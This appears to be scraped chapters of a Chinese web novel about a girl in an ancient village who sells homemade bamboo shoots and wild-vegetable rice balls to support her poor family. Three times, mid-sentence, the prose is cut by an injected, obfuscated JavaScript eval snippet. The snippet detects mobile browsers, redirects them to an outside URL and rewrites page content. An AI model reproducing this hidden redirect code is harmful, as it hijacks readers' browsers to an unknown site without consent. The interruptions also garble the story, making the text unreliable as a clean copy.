《我在古代开美食楼》 1. 清炒竹笋 清晨，阳光透过窗棂照到土炕上。 被外面公鸡打鸣的声音吵醒时，万秋灵舔了舔唇，脑海里飘过了清蒸、炖煮、油炸、爆炒等一系列吃法，最后却沉沉叹了口气。 如今万家只能用家徒四壁来形容，凡是能卖掉的家禽都拿去换钱，用来给万老爹买药了。 鸡圈里就剩一只母鸡，下的蛋也是紧着万老爹吃，多少能补一点身子，而这打鸣声，只能是隔壁人户家里传来的。 “阿姐！快起床了！”人还没到，声音先到了，小丫头风风火火闯进来，见万秋灵已经坐起了身，很是惊喜，“我就说阿姐的病马上好了，瞧着气色好许多呢。” “阿姐不晓得，这几天村里人说话可难听。原先爹爹病了，接着阿姐忽然也病了，有人就说咱家是中邪了，该找个人来驱驱邪……” 万秋灵穿衣服的动作一顿，这何止是中邪，她这具身体连灵魂都换了个人，说是见鬼都不为过。 原主不仅和她同名同姓，对着水一照，连长相都差不多，要不是模样稚嫩，约莫年轻个三四岁，万秋灵差点怀疑自己是身穿。 天色已经大亮，杜氏应该下地干活去了，虽然不抱希望，万秋灵还是问：“娘早饭做的什么？” “煮的红苕稀饭，在锅里，还温着的。” 果然又是红苕稀饭……稀饭用的还是糙米，村里人最普遍的口粮之一，口感偏硬不好嚼，杜氏干脆多加了水混着红苕煮，方便病人吃。 万秋灵躺炕上三天，喝了三天红苕稀饭，快喝出心里阴影了，继续这样吃下去，是没力气讨生活的。 姐妹俩对视一眼，万小兰看出姐姐眼里对红苕稀饭的抗拒，于是贴心提议道：“要不然阿姐也试试炸蚱蜢？墩子哥说，蚱蜢过油炸一遍可好吃了，比小鱼干还酥！他前日捉得了不少，说可以匀我些打打牙祭。” 蚱蜢？那不就是蝗虫……现在气候暖和点，田间地里就冒头了。有娃子抓来吃，还有些摊贩会专门收这些虫子，油炸后撒上干料，做成市井小吃。这类昆虫脂肪含量低，是优质蛋白，不过—— “……算了，吃完饭去山里看看。” 万秋灵搓了搓胳膊上的鸡皮疙瘩，吃蚂蚱？还不如喝红苕稀饭呢！ 两人快速过完早，提着破旧的篮子就出了门。 去后山的路上会经过河，几个妇人端着盆往河边走，盆里放着要搓洗的衣物，还有浆洗用的木槌，谈话声隐隐约约传来。 “……可不是么，摔了一个，又病了一个，都是挨着的事。说不定啊是有不干净的东西进了门，冲撞了……” “周婶你小点声，这话可不兴乱说的。” “这哪是我乱说，我老家那边要是遇着这种接二连三的倒霉事儿，可都是这么说的。” 看到万家姐妹，周婶立马止住了话头，挤出笑容来：“哎哟，秋灵带着小兰出门啦？身子骨好利索了吗？” 周婶在村里有个“周大嘴”的外号，平常没少因为说闲话讨别人嫌，万小兰抱怨好几回，想来她就是散播中邪一说的中流砥柱。 万秋灵和妇人们打过招呼，脸上也带着笑，像是根本没听到她们之前的谈话。 “劳周婶挂心，我已经痊愈了。” “那就好……” 不等她说完，万秋灵接着道：“刚远远听见周婶提到了老家的事，想来这传说也并不大准，不然我咋这么快就活蹦乱跳的。既是不准，还是别轻信了去。周婶，您说是这个理不？” 其他妇人的脸色顿时有些精彩，周婶笑容也淡了下去：“是是……”感情这丫头全听进去了，故意拿话呛她呢。 “我们要去山里，就不和婶子们多聊了。”说完拉着万小兰就走。 好不容易攒够力气出门，她急着找食物，要不是刚巧撞上了，本是没空理会这些闲言碎语的。 等到了山脚下，万小兰还在呆呆地看着自家姐姐，总感觉阿姐变厉害了，三两句就把周婶堵得没话讲！ “发什么呆，找找哪有能吃的东西。”万秋灵拿起小锄头，随手挖了几株菜抖掉根茎上的泥土，扔进篮子。 “哦……” 山里野菜遍地都是，万秋灵能辨认出来的就有荠菜和马齿苋，还看到不少折耳根，这个很多人吃不惯，她倒是能接受，但需要多用一些调料压住那股腥味。在物资匮乏的古代，调料比这种免费的食材珍贵多了，不划算，就没有挖。 “阿姐，前阵子下了雨，春笋在冒头了，我们去挖点吧。” 山上零零散散分布着野生竹林，万小兰常和其他孩子上来玩，很快就找到一片。 新长出来的野笋个头还不算高，胖嘟嘟的，都用不着锄头，伸手一掰，笋尖的部分就折下来，没过多久篮子就变得沉甸甸的。 “刺泡！阿姐快来看，这里有好吃的！” 万小兰到处窜，眼尖地发现了野生果子，连忙呼唤姐姐。 万秋灵走过去一瞧，有颗低矮的灌木上挂着许多红彤彤的小果子，果肉饱满，覆盖着一层绒毛，跟小灯笼似的。记忆里，小时候在奶奶家山上就经常摘这种果子吃，是没有毒的。 她摘了一颗尝了尝，有点酸味，还没有熟透，但味道还不错。 看着妹妹一颗接一颗地往嘴里送，万秋灵无奈道：“别一口气吃太多，当心闹肚子。”万小兰只好改为往篮子里摘，几乎把那一株薅秃了。 等到下山时，她们在少有人至的背阴坡发现了一排野葱，细细长长的，香味独特又浓烈，总觉得比种植出来的葱更香。这种葱一般随机刷新，挖一棵就少一棵，万秋灵只采了一把，记住了这块地下次再来。 她招呼着意犹未尽的万小兰：“差不多了，先回家。” …… 中午的日头最盛，水田旱地干活的大多都要回家歇歇凉，顺道吃个晌午饭，也有少数人带了干粮，坐在田埂将就对付两口。 杜氏扛着锄头，疲惫地往回走。万老爹卧病在床，地里的活都靠她一个人干，家里也需要人操持，忙得脚不沾地。 离家还有段距离，一股奇异的香气先飘了过来，忙活半天正饿得慌，这味道一下子勾起了杜氏肚子里的馋虫，她想着隔壁王家这是做了什么菜，比平时闻着更香。 可越往自家走，那香味竟然越明显，倒不像是隔壁。 杜氏连忙加快脚步，推门放下农具，又去井边打水洗了洗，这才疑惑地走进屋。堂屋桌子上依旧是红苕稀饭，早上她煮了一大锅，方便热一下就吃，这味道并不陌生，而那香气是从灶屋传出的。 万小兰老老实实在灶后面看着火，脸蛋被火光烘得红扑扑的，看见杜氏回来，立刻兴奋道：“娘，阿姐炒的菜可真香！” 是真的香，灶屋很小，光线也不足，炒菜的热气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251287|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漂浮着，香味四散。杜氏只看见万秋灵锅铲翻动间，锅里白白的笋片混着翠绿的葱花，十分诱人。 “柴火可以撤了。”万秋灵利落地装盘，抽空回头看了眼杜氏，“娘，马上就好。” 等清炒竹笋端上桌，万小兰咽了咽口水，偷偷夹了一小块送进嘴里，眼睛都亮了：“好吃！这个笋子吃着一点不涩，娘，你快来尝尝！” 杜氏给万老爹送了饭，回来坐下，闻言也试了一口。笋子脆嫩，没有任何苦涩味，野葱的香气恰到好处，清爽又开胃。 一口笋片一口稀饭，红苕稀饭都变得更有滋味了，杜氏本就饿了，连着吃了大半碗下去，这才想起来问大女儿。 “灵儿，这笋子你是如何做的？吃不出一点涩味。”她有些惊讶，野笋虽然遍地都是，但爱吃的人不多，若是处理不好，吃起来会麻舌头。 “开水焯了下，再用冷水多浸泡会。”万秋灵只简单解释了一句，含糊过去。 她心里揣着别的事。做饭的时候在灶屋搜刮了一圈，实在没多少能吃的粮食，糙米倒是还有几袋子，装大米的米缸像被老鼠打劫过，装猪油的罐子快要见底了，调料也不剩多少……更何况，万老爹要喝的中药也是笔不小的开支。 显然，这个家已经到了山穷水尽的地步，光靠种地很难支撑下去，万家又是外来户，村子里没有能互相帮衬的亲人，必须得找别的出路。 就算是铁打的人，也是遭不住天天喝稀饭，一点油星子都见不着的……她才刚穿来三天，腰带一天比一天宽松了，但她并没有减肥的想法啊！ 有时候肚子咕噜噜作响，她都怀疑原主其实是营养不良加上低血糖才晕倒，磕地上昏过去的。 万秋灵放下筷子，看着她们吃得有滋有味的样子……她若有所思，问道：“娘，村里最近的赶集是什么时候？” 杜氏想了想：“三天一次，后天就是岔路口那边集市的日子了。你问这个做什么？” 后天，时间上完全来得及。万秋灵心里有了数，又问：“娘，小兰，你们都尝过了我的手艺，若是我做吃食拿到集市上卖，你们觉得会有人愿意买吗？” 万小兰立刻抢着答：“肯定有！阿姐，我还是头一回吃到这么好吃的笋子呢。” 哪怕是爹爹之前开小馆子的时候，也没有做过这样不涩口的笋子，阿姐做的笋子比爹爹还要厉害些，她在心里悄悄补充。 杜氏却迟疑道：“这……能行吗，集市上卖吃食的不少，咱们家里也没剩什么了，这些个山野东西，家家户户都能做，能卖出价钱吗？” “别人家没咱们弄的好吃。”万秋灵很自信，哪怕是同样的调味料，她也能做的比这里的人花样更多、味道更好，不然她研究过的那些美食视频算是白搭了。 “而且用不着太多成本，后山就有现成的食材，可以先少做点试试。”她语气笃定，显然是拿定了主意。 杜氏看着女儿柔嫩又沉静的脸庞，一时无言。 她何尝不明白，大女儿这是想帮衬家里，减轻她肩膀上的担子。家中遭遇这么大的变故，孩子病才刚好，就急着找法子挣银钱，杜氏心里慰藉的同时又难免有些担忧女儿。 这时，屋里传来万老爹的声音：“孩他娘，来收下碗。” 杜氏应了声，起身进屋。万老爹靠坐在炕头，手里的大碗已经空了，连一滴汤都没剩下。 2. 野菜团子 万小兰急匆匆吃完一碗稀饭，意犹未尽又添了小半碗，盘子里炒笋没几片了，她跟万秋灵打商量：“阿姐，一会把盘子留给我泡稀饭吃，还有点油汤呢。” 说完又眼巴巴道：“明天阿姐还做笋子吗？我可以帮忙去山上挖笋子和葱。” 万秋灵已经确定，这妹妹和自个儿一样，都是妥妥的大吃货，想着既然要做吃食，自是不能放过现成的劳动力。 “当然可以做。”她话音一转，“也不知道集市上现如今都卖些什么吃的。” 原主性格内敛安静，不喜欢凑热闹，很少去逛集市，万小兰听了一点没怀疑，倒豆子似的掰着手指头数： “爹爹上次带我去村里赶集时，有卖馒头、窝头、花卷的，有桐叶子包起来的包谷粑粑……对了，还有饴糖！镇子上吃食就更多了，听墩子哥说，镇上光糕点就有好多种，还有卖糖葫芦的哩！” 饴糖也就是麦芽糖，跟棒棒糖似的耐吃，一根饴糖舔着能吃好一会，甜丝丝的，有些黏。小孩子嗜甜，说了一圈显然最惦记的还是饴糖。 万秋灵想了想，面点需要有足够多的面粉，还要发酵，还得买新的笼屉，暂时做不了，镇上那些复杂的吃食更不必说。 桐叶粑粑倒不难做，只是味道上做不出太大差别，主要吃的是叶子的清香，以及便宜量大，两个就管饱。 “那你想不想吃饴糖？”万秋灵抛出了妹妹无法抗拒的诱饵。 万小兰光是听到饴糖两个字，眼睛都直了，连连点头：“想吃！” 虽然还没开张，但不妨碍万秋灵先画饼。 “那就帮我干活，等挣到了钱给你买。” “阿姐，我都听你的！”万小兰干劲十足，嘴里的苕都比以前吃的更甜了，不过还是饴糖更甜。她十分确定，阿姐的生意定然会红红火火的，挣好多好多铜板，这样她就有吃不完的饴糖了！ 屋子里，杜氏把万秋灵打算到集市做吃食生意的想法说了。 万老爹摸出一柄烟杆子，又放了回去，生病后他就很少抽了，但习惯还在。 他沉默片刻，眼中流露出复杂的神色：“灵儿这丫头……开馆子那会，我炒菜，她就爱在灶屋里转悠。她从小懂事听话，这手艺，大概是随了我。” 万老爹夸女儿的同时也不忘自吹自擂一番，并不知道在小女儿心里做笋子的手艺已经被阿姐比下去了。 都说龙生龙、凤生凤，老鼠的儿子会打洞，他老万家的人厨艺好不足为奇，瞧瞧，哪怕只简单炒个菜也能甩旁人一大截。 又回忆起当初经营小食肆的光景，夫妻二人虽然忙碌，却也踏实，日子过得充实有盼头，现如今这个样子，父母发愁，孩子也跟着发愁…… “灵儿想试试，就让她去吧。”有了手艺，不愁没有销路，万老爹本着对老万家厨艺的无条件信任，支持女儿闯一闯，村集市的情况他也知晓，卖些小吃补贴家用是够的。 当然他也没敢往更大的方向去想。女儿是家里宠着长大的，开馆子的时候就没舍得让女儿们干活，最多让她们学着绣绣花，缝补下衣物。后来搬到这个村里，更舍不得让孩子们下地，都是大人包揽。 两个丫头年纪尚小，心思单纯，想法固然是好的，可她们不知道，做生意不仅是有门手艺就行，里头的弯弯绕绕不简单的。 万秋灵卖吃食的事就这样定了下来。 …… 院子里进门的地方就是小菜圃，万秋灵整合家里物资时，研究了下菜圃有哪些菜以后能用得上。 正是初春，菜园子绿油油一片，都是新发的芽儿，黄瓜的藤蔓已经打着卷须，缠上了细竹竿搭建的简易架子，和豆角茎蔓各自占据一头。 万秋灵能认出的幼苗不多，但无非就是豆角茄子黄瓜这几样，种在家里，成熟了随时摘取食用，她随手拔了几根抢夺营养的野草，忽地注意到墙角边的两颗嫩苗。 植株不高，大约到半个小腿的高度，叶片已经开始变得深绿，茎杆结实——是辣椒苗！ 虽然只有两三株，还未开花结果，至少证明了这个陌生朝代是有辣椒的，只是作为调味品，在村里人看来种植性价比远不如豆角茄子这些能填饱肚子的菜。 万秋灵欣慰地看着蓬勃生长的幼苗，仿佛已经见到辛辣鲜香的美味辣椒，无数和辣椒相关的美食近在眼前，已经在招手了。 集市前的这两天，万秋灵带着妹妹摘了不少野菜和笋子，全部清洗处理好备用。 那排野葱作为目前的灵魂调味，姐妹俩采摘得很小心，用多少采多少，杜绝浪费。 村集市里小摊主打的实惠路线，薄利多销，村民都是恨不得一个子儿掰成好几瓣花的，只有先填饱肚子，才有心思考虑别的花里胡哨的东西。 万秋灵想了想，决定先主卖野菜团子，也用野葱增味，将野菜处理得当，切得碎碎的，混着糙米，用叶子包好，比只用盐调味的更好吃，也顶饱。 炒笋片就少做些，这是要耗费猪油和调料的东西，若是不好卖，自家吃剩菜肯定是不如吃新鲜的。 等到赶集这天，天色还一片漆黑，万小兰已经在门口催促：“阿姐，起来赶集了！”她心里惦记着饴糖，积极性别提有多高，早早就醒了。 万秋灵爬起来洗漱完毕，杜氏已经替姐妹俩准备了两个空背篓，只等着装上东西。 野菜糙米已经调味拌好，等上锅蒸熟，稍微放凉一会没那么烫手了，杜氏麻利地捏成一个个大小差不多的圆团，再压扁，拿芭蕉叶包好。万小兰也跟着帮忙，一开始磕磕绊绊的，多包了几个就熟练起来。 土灶的火还在烧，趁她们打包的工夫，万秋灵捞出提前浸泡的笋片，沥干净水，锅里先放了勺猪油，等油融化了，放蒜末爆香，再将笋片倒下锅翻炒。 笋子出锅后就装到瓦罐里，用盖子封住，她这才坐下一起包饭团。 天边泛起了鱼肚白，两姐妹背上篓子向几个村子的交叉路出发。 路边树叶草丛都还在滴着露水，早晨空气倒是凉快，岔路口汇聚了不少人，正是热闹的时候。 “新鲜的青菜和果子，早晨刚摘下来的，水嫩得很！” “来来来，新鲜出炉的，大白馒头、黑面馒头都有，个头大，价格还实惠！” 这人面前摆了一个大箩筐，里外都厚厚罩着，装着馒头。 路口挤满了各式各样的路边摊，除了简单的吃食，有卖山货的，卖鲜肉的，卖河鱼河虾的，还有个摊位卖的是小鸡仔鸭仔，毛茸茸挤作一团，万秋灵想起家里孤零零的老母鸡，不由得多看了一眼。 万小兰东张西望的，眼睛都看不过来了。她发现了一个卖野果的摊子，其中就有刺泡，后山上也有不少果子，想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251288|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要不下次也攒着拿来卖，就是不容易摘那么多，也不知道这些摊贩上哪弄的。 等走到靠近集市边缘，终于找到了一小个空位，旁边挨着一个卖竹编的老伯。 老伯看起来快五十岁了，头发已大半花白，正麻利地编着一个竹筐，手指又黑又粗，覆盖着厚厚的茧子。他见两个小姑娘放下背篓，和气地问：“小丫头，卖的什么？” “饭团子，还有点炒菜。”万秋灵一边把野菜团子摆放出来，码放整齐，一边回答。 “团子用的啥面？”老伯好奇道，叶子包着看不出来。 “糙米，加的野菜。” 老伯“哦”了一声，点点头不再说话。他心里觉着怕是不好卖，糙米集市上也有，这东西人人家里都有，所以卖吃食的大多是粗粮里掺了细粮，或者只用细粮，比光用糙米受欢迎，只是这话不好当着小姑娘的面说，低头编竹筐去了。 万小兰看到老伯摊子上摆着的竹篮竹篓，压低声音对万秋灵说：“阿姐，我觉得墩子哥编得更好，他编的篮子可结实了。不过他都是拿到镇子上卖的，镇上价钱好些。” 万秋灵应了声，墩子是隔壁王家的二儿子，年纪比她还小些，手倒是巧。 她将最顶上的一包芭蕉叶拆开，露出里面夹杂着野菜碎和葱末的饭团子，卖相不说有多好，也绝对称不上坏，放现代妥妥的减脂粗粮饭团。万秋灵侧头，对妹妹示意了一下。 万小兰一开始还有点扭捏，不过想到姐姐许诺的饴糖，深吸一口气，学着周围人吆喝的样子，脆生生喊道：“野菜饭团子！价格便宜味道好，走过路过不要错过啊！” 这都是万秋灵提前想好教给她的词，再加上现学现卖，临场发挥。 小姑娘声音透亮，嗓门大，果然吸引了一些人的目光。万秋灵穿过来时就是被哭声吵醒的，对万小兰嗓子的威力深有体会，堪比重量级武器，实在不应该埋没，所以换饴糖的条件里加上了吆喝这一项。 陆续有几个人来瞧了瞧，看清是什么东西做的，有些人摇摇头走了，这年头野菜糙米不是什么稀罕物。 还有的看这饭团子夹着翠绿的颗粒，模样倒是还不错，一问价格，一文钱三个，每个都有拳头大，倒是不贵，但家里糙米吃多了，宁愿多花半文钱一文钱的买些馒头饼子解解馋，因此虽然有人问价，真正掏钱的却没有。 万小兰喊了一阵子，见只有人问没有人买，看向姐姐，心里多少有些急。 万秋灵却并不气馁，她神色平静，对每个询问的人都好声好气解释：“是糙米，早上新鲜现做，蒸得透透的，不剌嗓子。” 有人看到旁边还放着一个瓦罐子，用旧布包裹着，没有打开，好奇问道：“这罐子里装的是？” 问话这男子大概三十出头，衣着整洁，蓝布衫看起来很干净，虽然也是粗布衣裳，但没打布丁，在人群里算是穿着不错的那类了。 万秋灵打量了一下，觉得这人是个潜在顾客，于是热情回答：“是自家炒的笋片，怕放凉了不好吃，所以盖着保温。” 男子有些意外：“笋片？集市上倒是少见……”卖山货的也有春笋，笋子做好了卖的吃食却几乎没有。 万秋灵趁机推销：“是家传的手艺，鲜嫩爽口，吃过的都说味道好。不信您闻闻这香气。” 说着，她轻轻掀开瓦罐盖子。 3. 卖光了 盖子打开，一股混合着竹笋清香和野葱辛香的热气顿时溢出来，虽然不如刚出锅时浓郁，但还是让男子眼前一亮。 “的确挺香。”他点头，一闻就知道这姑娘没有吹嘘，笋片的香味很独特。 万小兰在一旁看着，心虚地垂下眼睛，这笋子分明是阿姐琢磨的，爹爹都不会呢，哪是什么家传？不过看客人显然被味道打动了，她又悄悄挺直了腰板，阿姐说什么就是什么！就当这是家传的罢。 她跟着调整口风：“炒笋片！家传手艺，香的很咧！” 万秋灵赞赏地看了妹妹一眼，还挺机灵。万小兰得到鼓励，吆喝得更卖力了。 “您要不试试看？”万秋灵拿起裁好的芭蕉叶，三两下就折成了碟子状，“这笋片用的是春笋的笋尖，正是应季，一碟只要一文钱，下饭配粥都合适，配着饭团吃也极好。” 男子看着瓦罐里白绿相间的笋片，略一沉吟，掏出来两枚铜钱：“成，笋片来一碟，饭团子也来三个，要是味道好，以后还来。” “好嘞，您稍等。” 万秋灵从瓦罐里舀了满满一碟子笋片，捎上两根用竹子削好的简易筷子，热气腾腾递给男子，又用草绳串起三个饭团，方便他拎走。 男子接过，先凑近闻了闻，鲜香味更浓了，他夹起一片送进口中，咀嚼了几下，随即露出笑容来：“不错，笋子嫩，没有涩味，葱香十足，不错！” 他连夸了两句不错，声音不算大，但周围摊子的人听得很清楚。原本就暗中围观的人，都被吸引了过来。 “这笋片真有这么好？” “难说，笋子有甚好吃的……” “闻着确实香的紧，正缺个下饭菜，给我也来一碟尝尝！” 也有人嫌吃笋子吃不饱，倒是那野菜团子瞧着还行，不少人观望中。 “这饭团子倒是实在，要不，来三个垫垫肚子？” 一个中年汉子最先说买，他身形敦实，是做力气活的。拿到手，他拆开外面的叶子闻了闻，也是清香味，咬下一大口，口感对他来说不算粗糙，不知道里面野菜用了什么调味，咸香中还有微甘，葱香也非常开胃。 旁边人都等着他是个什么反应，毕竟笋子有人夸，饭团子还没人试呢。看他几口吃完了一个，都问他：“味道怎么样？”到底是糙米做的，心里犹豫得很。 汉子已经拆起了第二个，嘴里还嚼着，含糊道：“吃着可以，有味、不噎人，比啃窝头强！” 听他这么说，好几个人都心动了。 “我要三个，串起来带走！” “我也来三个。” 有了食客反馈作为宣传，万小兰都用不着一直吆喝了，她帮忙递东西、收钱，看着一枚枚铜板进口袋里，兴奋不已。 第一次出摊，万秋灵准备的货不多，众人也是图个新鲜，所以卖得很快，尤其是笋片，只装了半个瓦罐，几勺子下去就到底了，后面还有人想尝个味，都只能客客气气说等下次。 还没到正中午，万秋灵和妹妹已经在回村的路上了。 万小兰心满意足地舔着手里的饴糖，边吃边夸：“真甜啊，阿姐你也尝尝。” “你吃，我不尝。”万秋灵之前牙口不好，吃太甜的东西会牙疼，所以养成了习惯。 想到这，她点了点妹妹额头：“只能偶尔吃，当心牙齿痛。” 万小兰则是想阿姐连分一口糖都不忍心，处处让着，未免太过于疼她了。今儿个挣到了好些铜板呢，可姐姐什么吃食都没舍得买，只给她买了饴糖…… “阿姐，这是我吃过最好吃的饴糖！”她连忙表忠心，这可是阿姐的心意。 万秋灵只当妹妹嘴甜，她把背篓放到了身前反背着，用剩下的芭蕉叶盖上背篓口，遮挡着日光。 背篓里不时传来“叽叽”的叫声，小家伙们听起来很是活泼。 村口老槐树下，七八个妇人聚在一起躲阴凉。有的在聊地里种了哪几样庄稼，杂草多，半天拔不完，有的议论谁家儿媳妇手脚不勤快，和婆婆又吵架了。 看到姐妹俩走近，几道目光都汇到了她们身上。 “秋灵，小兰，大中午的，这是打哪里回来的？”村东头的赵家婶子先开口问了。 万秋灵礼貌地笑笑：“回婶子的话，我们去岔路口那边转了转。” 两人都带了背篓，但看着不显重，万小兰的篓子几乎是空的，一看就是背东西去卖了，只是不知卖的什么。 “今天赶集，那边是热闹。”赵家婶子看万小兰拿着糖，“还买了饴糖，是挣着钱啦？” “没多少，就是挖点山货换几个钱。小兰帮忙出了力，给她买根饴糖甜甜嘴。”她含混过去，没说具体的，万小兰只顾着陶醉地吃糖，也没心思炫耀。 “秋灵真是懂事了。”几个妇人感叹。 一个不和谐的声音插了进来：“哟，才多大点就学别人做买卖？还买糖吃，啧啧，小孩儿就是手松。” 说话的正是周大嘴，她上次被万秋灵拿话呛了，心里不舒服，见这丫头又去集市上卖东西，众人都夸懂事，更是直冒酸气，忍不住又阴阳怪气了两句。 万秋灵这才停下脚步。 还没等其他人打圆场，她不紧不慢开口了：“周婶提醒的是，过日子讲究细水长流，是该手紧些，省着点花。像有的人家，半大小子到处撒野，不是祸害了别家秧苗，就是踩烂了别家堆好的田陇，那么多烂摊子等着填，想来也是要耗费不少呢。” 万秋灵声音不算大，众人却都听得清清楚楚，一时间神色各异。 之前她听万小兰说过，周婶有个儿子，是出了名的爱闯祸，隔三差五惹事，周家没少给别人家赔笑脸贴东西。既然这个周婶老是在她跟前找不痛快，她就大方满足人家吧。 气氛顿时更尴尬了。 周婶听完脸涨成了猪肝色，张着嘴，想反驳回去，偏偏这话头又是她挑起的，到头来搬起石头砸了自己的脚，愣是半天没憋出一句话来，只狠狠瞪了万秋灵一眼。 还是赵家婶子先说道：“好了好了，秋灵，快带着妹妹回去吧，你娘该惦记了。” “嗯，各位婶子，我们先回了。” 万秋灵拉着妹妹往村尾走，万小兰叼着糖，还不忘回头冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251289|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周婶做了个鬼脸，给周大嘴气够呛，万秋灵假装没发现。 等人走远了，槐树下又讨论开来。 “万家这大丫头，病了一场，人反而支棱了些，瞧这样子比以前还要稳重得多。” “家里难啊，顶梁柱病倒了，孩子也要早早当家。” “我听见她背篓里有小鸡叫，看来是真赚到几个钱的。” “能赚到钱也是人家的本事啊，比光动嘴皮子强。”这人明显是在内涵了。 周大嘴越听越不得劲，稳重？明明是牙尖嘴利，半句不吃亏！挣了几个子眼睛就长头顶上去了！ “哼，两个女娃儿能干成什么事？也就是瞎猫碰着死耗子，家里乱没大人管，由着她们胡闹！花钱也大手大脚的。” 众人却想，万家姐妹这算胡闹，那周家的虎子岂不是闹翻天了去？ 没啥人附和她，话头又转到别的地方去了。 周大嘴气呼呼起身，拍了拍屁股上的灰，一路骂骂咧咧回到屋里。 几口凉水灌下去，总算是舒坦点了。 没过一会儿，自家宝贝儿子跟泥猴一样冲回来，看到她立马嚷嚷道：“娘，我要吃饴糖！万小兰都有糖吃，我也要！” 周大嘴一听，肯定是万家那个丫头片子又瞎嘚瑟了，她抬手拍了儿子后背一巴掌，拍了一手泥：“吃吃吃！看你这一身，又跑哪儿去野了？还吃糖，狗屁糖，有狗屎你吃不吃！” 周虎挨了一掌，还吃不到糖，“哇”地一声哭起来，在地上打滚，给屋里弄得乱七八糟，衣服更是脏得不能看了。 周大嘴恼火得不行，到处找鞭子要收拾这浑小子，心里又给万家那俩丫头记上一笔。 …… 杜氏在院子里摘着菜，眼睛时不时瞟向门口，心里始终放不下。一会担心两姐妹被人欺负，一会担心东西卖不出去，不知道什么时候才能回来。 盼来盼去，终于看到熟悉的身影。 “娘，我们回来了！”万小兰先跑进门，举着还剩的一小块饴糖，“阿姐给我买了饴糖，娘你尝尝吧！” 杜氏赶紧迎上去，见两个人都全须全尾的，悬着的心这才落下，回来了就好。 她替孩子把背篓卸下，掂了掂，篓子变轻许多，不免有些奇怪，里面的东西呢？ 万小兰抢着解释：“娘，我们东西都卖出去了！这笋子先卖完，有些人没买着，还说下次一定来尝尝呢。” 说着还把糖往杜氏眼前递，不过阿娘也没有要分一口的意思。 “都卖光了？”杜氏惊讶地问，“野菜团子也卖光了？” 万秋灵轻轻把背篓放到地上，掀开芭蕉叶子，露出四只嫩黄的小毛球。 “野菜团子也卖得差不多了，就剩几个带回来。我买了四只鸡仔，一公三母，养大了能下鸡蛋吃，也能吃肉。” “好，好……”杜氏险些被惊喜砸晕了，她接过背篓，“交给我，你们去歇会儿。今天咱们吃顿好的，篮子里还有几个鸡蛋，一会就炒鸡蛋吃。” 万秋灵稍微清洗了一番，在堂屋坐下，正打算清点银钱袋子，院门忽然响了。 4. 鸡蛋鲫鱼汤 一阵敲门声传来，万小兰去了房里找爹炫耀一上午的成果，杜氏正在柴房腾地方安置小鸡们，只剩万秋灵在屋里坐着。 她站起身：“来了！谁啊？” 拉开木门，一个健壮到有些微胖的少年站在外面，面相一瞧就是老实巴交的娃，脸很圆润，个子也比其他同龄孩子窜得快，比万秋灵高了一大截，是隔壁家的王土墩。 “墩子来了，快进来坐坐。” 墩子看到她，露出了憨憨的笑容，抬起手上拎的东西：“秋灵姐，我在河里摸了几条小鱼，给你们拿一条来。”他用草绳串着一尾鲜活的鲫鱼，正不安分地蹦弹，比手掌还要长不少。 万秋灵看着小鲫鱼，挺心动的，至少不是他答应送给万小兰当零嘴的蚂蚱。 杜氏听到声音，这会从柴房出来，见他要送鱼，连忙摆手：“这不成，你们留着吃，你大嫂正是要补身子的时候，该给她多补补。这鱼这么大，拿去卖钱都行，怎么好意思收？” “家里还有，够吃的。”墩子坚持要给，直往杜氏手里塞。 两人在院门口拉扯了几个回合，一个让收下，一个说不行不能收，最后还是墩子说了句“万叔还病着，也得补补身体”，杜氏这才没再拒绝。 午饭有着落了，还是新鲜的鲫鱼汤，万秋灵心情很美妙，跟着杜氏一块道谢：“谢谢你了，墩子。” 墩子挠着头，嘿嘿一笑：“婶子，秋灵姐，你们客气啥。我回去了，家里等着我吃饭呢。”送完鱼也不多留，利落地就走了。 杜氏拎着鱼，笑道：“墩子这娃心肠好，人也实在。” “娘，中午就炖鱼汤吧，我来做。”万秋灵看着滑不溜秋的鱼，有些犯怵，“不过，这鱼得去掉鳞片和内脏，我不会弄。”她现代时在市场买的鱼都是处理好的，摊主代劳，还没试过自己动手。 “行，我先去杀鱼，收拾干净了给你。”杜氏拎着鱼先去处理了。 灶屋里热气腾腾，两口锅下面的灶膛都烧着柴火，小一点的锅里正在烧水，另一口大点的锅已经热透，开始冒烟了。 万秋灵挖一勺猪油放进大锅，依次敲入两枚鸡蛋，鸡蛋煎得久一点，先盛出，接着开始煎鱼。 鲫鱼两面都煎到金黄，小锅的水也差不多烧开了，把鸡蛋放回大锅里，舀上开水倒入，“刺啦”一声，水汽涌上来，她盖上锅盖，用小锅又热上了几根苕，还有剩的野菜饭团子。 万小兰往大锅的灶膛加了把柴火。 